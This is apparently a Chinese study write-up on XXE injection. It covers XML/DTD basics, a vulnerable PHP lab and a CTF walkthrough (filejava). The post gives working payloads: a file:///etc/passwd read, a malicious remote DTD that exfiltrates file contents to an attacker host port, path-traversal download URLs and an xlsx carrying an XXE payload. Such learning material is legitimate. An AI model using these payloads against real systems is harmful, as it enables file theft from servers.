0x00 前言
xxe漏洞由于平时没怎么遇到所以一直都是只知道个大概,但是细揪就不行,所以趁此机会特意来学习一下,希望在学习之后能对xxe有进一步的了解,知道漏洞出现的原理,以及在挖漏洞的时候如何进行测试
0x01 漏洞简介
xxe漏洞又名外部实体注入漏洞,漏洞的主要成因是由于xml在传输数据的过程中在引入外部实体数据的过程中没有对外部实体的数据进行一个严格的过滤,从而导致我们攻击者可以引入恶意实体,从而造成任意文件读取、任意代码执行等严重后果
xml文件解析依赖于libxml库,但是libxml2.9以前的版本是默认支持外部实体的引用的,所以当服务端对我们传输过去的xml文件的时候,没有对外部实体进行一个判断和过滤就会导致xxe漏洞的产生
0x02 XML简介
xml全名可扩展标记语言,xml被设计出来的主要目的就是用于传输数据和存储数据(宗旨还是传输数据,和同为标记语言的html不同,html主要的功能是显示数据)
由于计算机无法识别每个数据的属性,所以xml利用标签来给每一个属性一个名字有利于计算的识别,如下:
<person>
<name>KpLi0rn</name>
<age>18</age>
</person>
根据上面的例子我们可以看出xml里面数据分类是非常清晰的,每一个特征都会利用标签说明出来,其实和json数据格式非常相似,json也是一个用于数据传输的格式,如下:
{
"name":"KpLi0rn",
"age":18
}
XML文档结构
dtd用于规范显示效果,dtd中携带了关于自身格式的描述(全名文档类型定义)
简单的xml格式这里就不过多赘述了,因为也比较简单,就是我们上面那个例子一样的标签化语言,我们主要来看一下含有DTD的xml文档格式,我们经常会在xxe的payload中看到<!DOCTYPE xxx [xxx]>
这样的格式,这样其实就是DTD,我们在引入外部实体都是利用这个DTD来进行实现的
ENTITY代表一个实体,利用dtd结构来引入实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root><name>&xxe;</name></root>
DTD全名文档类型定义,DTD每次都会出现在xml文件的上面,我们可以将DTD理解为对xml文档的约束或者规范(如果没有DTD的声明的话,很多时候xml在不同浏览器上的显示效果都会不一样)
通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据
接下来我们来看一下一个带有DTD的xml文档
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
我们主要从第二行开始看
- !DOCTYPE 定义这个文档时note类型的文档
- !ELEMENT 定义note有四个元素分别为"to, from,heading,body"
- 后面这几行就是定义这四个元素为#PCDATA类型
#PCDATA是xml元素类型中的一种。读取文件过程中会对文本进行解析
#CDATA”类型为字符数据(character data)。表示读文件但是不用解析,直接读文件的原始内容
这个类型就代表文本是会被解析器解析的类型。因为是会被解析器解析所以文本中是不允许出现 & < >
之类的这种符号的,需要使用 & < > 实体来分别替换它们,否则就会报错
像上面的那个xxe中的DTD引用的是内部的
但是由于xxe的主要问题就是引入了恶意的外部DTD,所以在实战过程中我们通常都是引入外部恶意DTD来实现的,如下:
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
这里注意!分号不要漏掉
0x03 漏洞环境
利用php弄的环境,环境源于如下链接
https://www.yuque.com/pmiaowu/web_security_1/vgbyxt
Mamp pro php 5.4.5
vps:134.x.x.x
xxe实验代码
Php 5版本以下
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
# 不需要回显时 注释print($xml);
print($xml);
0x04 漏洞利用
xxe漏洞有两种情况一种是有回显一种是无回显
有回显
由于有回显所以我们直接可以进行任意文件读取
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
我们利用file://协议进行了任意文件读取
无回显
xxe无回显的主要思路如下:
- 将恶意的dtd文件放置到vps上
- 发送xxe请求,远程调用vps上的恶意dtd
- 本地payload读取的文件发送到vps上的指定端口
ps:xxe无回显的情况我mac上无法复现,也不知道是什么原因,所以该实验在windows做了
首先我在windows的D盘下放了一个test.txt 模拟被读取的文件
然后我们需要在vps上放置一个恶意的dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resouce=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">
执行的payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY %remote SYSTEM "http://xxx.xxx.xxx.xxx/evil.dtd"
%remote;%int;%send;
]>
分析
先来看我们的payload
可以看到这里我们的payload 通过外部实体引入引入了我们远程vps上web目录下的恶意dtd文件,并且调用了恶意dtd中 %int , %send 所对应的数值
然后再来看我们的dtd文件
根据上面的payload可以看出先调用了dtd中%int 对应的数值
这里对应的是一个实体
<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>
然后再调用了实体中的 http://ip:9999?p=%file
但是这里又含有了%file,所以会调用 %file对应的功能: 读取我们d盘下text.txt文件的内容。
然后将内容返回给我们vps的9999端口
定义了一个file元素,看到SYSTEM这个格式我们可以知道这是一个调用外部实体的用法,我们利用php伪协议来读取base64之后的d盘下test.txt内容
因为xml在读取&><等富豪的时候会出现报错所以我们base64编码处理一下
然后再是看第二个
定义的是一个int的元素,这个元素所对应的值又是一个dtd结构,在这个dtd结构里面将上面获取到的信息发送到我们vps上的9999端口,结果就是?p=后面
Ps: dtd文件中作为内容的部分需要进行转义
如下图所示
这样我们的恶意dtd就这样弄好了,payload就很简单了
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % remote SYSTEM "http://ip/toos/test/1.dtd">
%remote;%int;%send;
]>
下面的%remote;%int;%send就是调用关系
1.调用%remote对应的实体,实体内容就是调用远程的dtd,也就是调用我们服务器上的恶意dtd
2.调用%int对应的实体,%int内容解析会调用%file,%file获取文件中的内容
3.%file实体读取的内容作为参数交给了%send
4.调用%send对应的实体,将请求发送到vps对应的端口
这样我们就能获取到我们目标文件中的内容了
0x05 实战利用
我们知道xxe的成因就是可以引入外部实体造成的。
在平时漏洞测试的过程中,如果发现请求数据中的accept中允许xml类型或者返回数据包返回的是xml类型数据,我们就可以进行一个xxe的尝试
漏洞检测
我们可以利用burp的一个模块来快速测试是否存在xxe漏洞
Burp 会给我提供一个url,然后我们在xxe 的payload中添加,如果目标请求了burp的这个地址burp就会显示出来
gk4vl35cw7j6klpcihe8on9utlzdn2.burpcollaborator.net
举一个例子,环境如下
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
这是一个无回显的xxe的php文件
如下图,我们可以看到accept里面允许我们利用xml格式进行一个传输,
然后在我们的payload中引入burp提供的payload进行发送
如果目标存在xxe漏洞的话,目标就会向url发送请求
如果目标访问了该url 我们burp就可以接收到
这样我们就可以较为简单的确认存在xxe
2020网鼎杯青龙组-filejava (利用excel来进行xxe)
首先访问题目链接我们可以看到一个上传按钮
先正常上传一个文件来看一下,可以看到返回包返回了一个下载地址
./DownloadServlet?filename=a0bb0122-301b-4a28-b402-bd77e4371752_111.jpg
看到返回地址汇总的filename便可以马上想到这里会不会存在路径没有正常限定导致任意文件读取,先拿/etc/passwd 试试
果不其然存在,正常返回了/etc/passwd
那么我们如果获取了目标的绝对路径我们是不是就可以把java编译好的class文件下载下来呢,所以我们现在需要寻找目标的物理路径,物理路径很多时候会存在在报错页面,如下图可以看到红框位置返回了我们的绝对路径
url解码如下
/usr/local/tomcat/webapps/ROOT/WEB-INF/upload/15/6/../..
所以我们就可以获得了我们的绝对路径
既然是java web 那么我们首先肯定是读取web.xml 这个配置文件,web.xml中会记录java web中的类以及对应的路由,以及对应的类在项目中的路径
返回结果如下
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
</web-app>
发现有三个java class,我们利用任意文件读取直接进行一个下载
路径为对应的 cn.abc.servlet.UploadServlet
访问路径即可下载
http://d4f5f909-d475-4214-9b83-8b0b4cfab6c8.node3.buuoj.cn/DownloadServlet?filename=../../../../../../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
下载之后利用 jd-gui对class进行一个反编译
简单看下来主要问题存在于uploadservlet.class
一个比较简单的servlet代码,大致就是一个文件上传的逻辑,重点看红框部分
这是一个判断语句如果我们上传的文件是excel-开头的话,就会对这个文件进行一个读取。
这里是一个excel和xxe漏洞的结合,CVE-2014-3529
excel是可以解压的我们可以通过unzip命令直接进行一个解压如下图
我们可以在文件中插入我们的xxepayload 来进行一个xxe盲打
首先在xxe中添加我们的payload,我们这里添加在[Content_Types].xml中
Payload
<!DOCTYPE ANY [
<!ENTITY %remote SYSTEM "http://174.1.59.83/evil.dtd">
%remote;%int;%send;
]>
然后重新进行一个压缩
zip -r excel-did.xlsx *
由于buu不同外网,所以我们需要新注册一个账号开一个内网的靶机
然后在内网靶机上加入需要被引入的恶意dtd文件,放在web目录下
/var/www/html
evil.dtd
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://174.1.59.83:2333?p=%file;'>">
两个payload中的ip都填写内网靶机的ip
然后本机 执行 nc -lvvp 2333 监听端口
页面上穿excel即可
ps:中途期间尝试了很多次都没有监听到,我们可以通过写一个http都请求来判断我们的excel是否生成成功
我们将[Content_Types].xml中添加如下代码
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "http://174.1.59.83:2333">
]>
<test>&xxe;</test>
如果我们 内网靶机上监听到了http请求那么就说明我们的excel是正确被打开的
0x06 总结
xxe漏洞在平时漏洞挖掘或者项目中遇到的比较少,所以相对比较陌生,面试的时候回答的感觉也不是很好,xxe防御措施也比较简单我们直接不让外部实体引入即可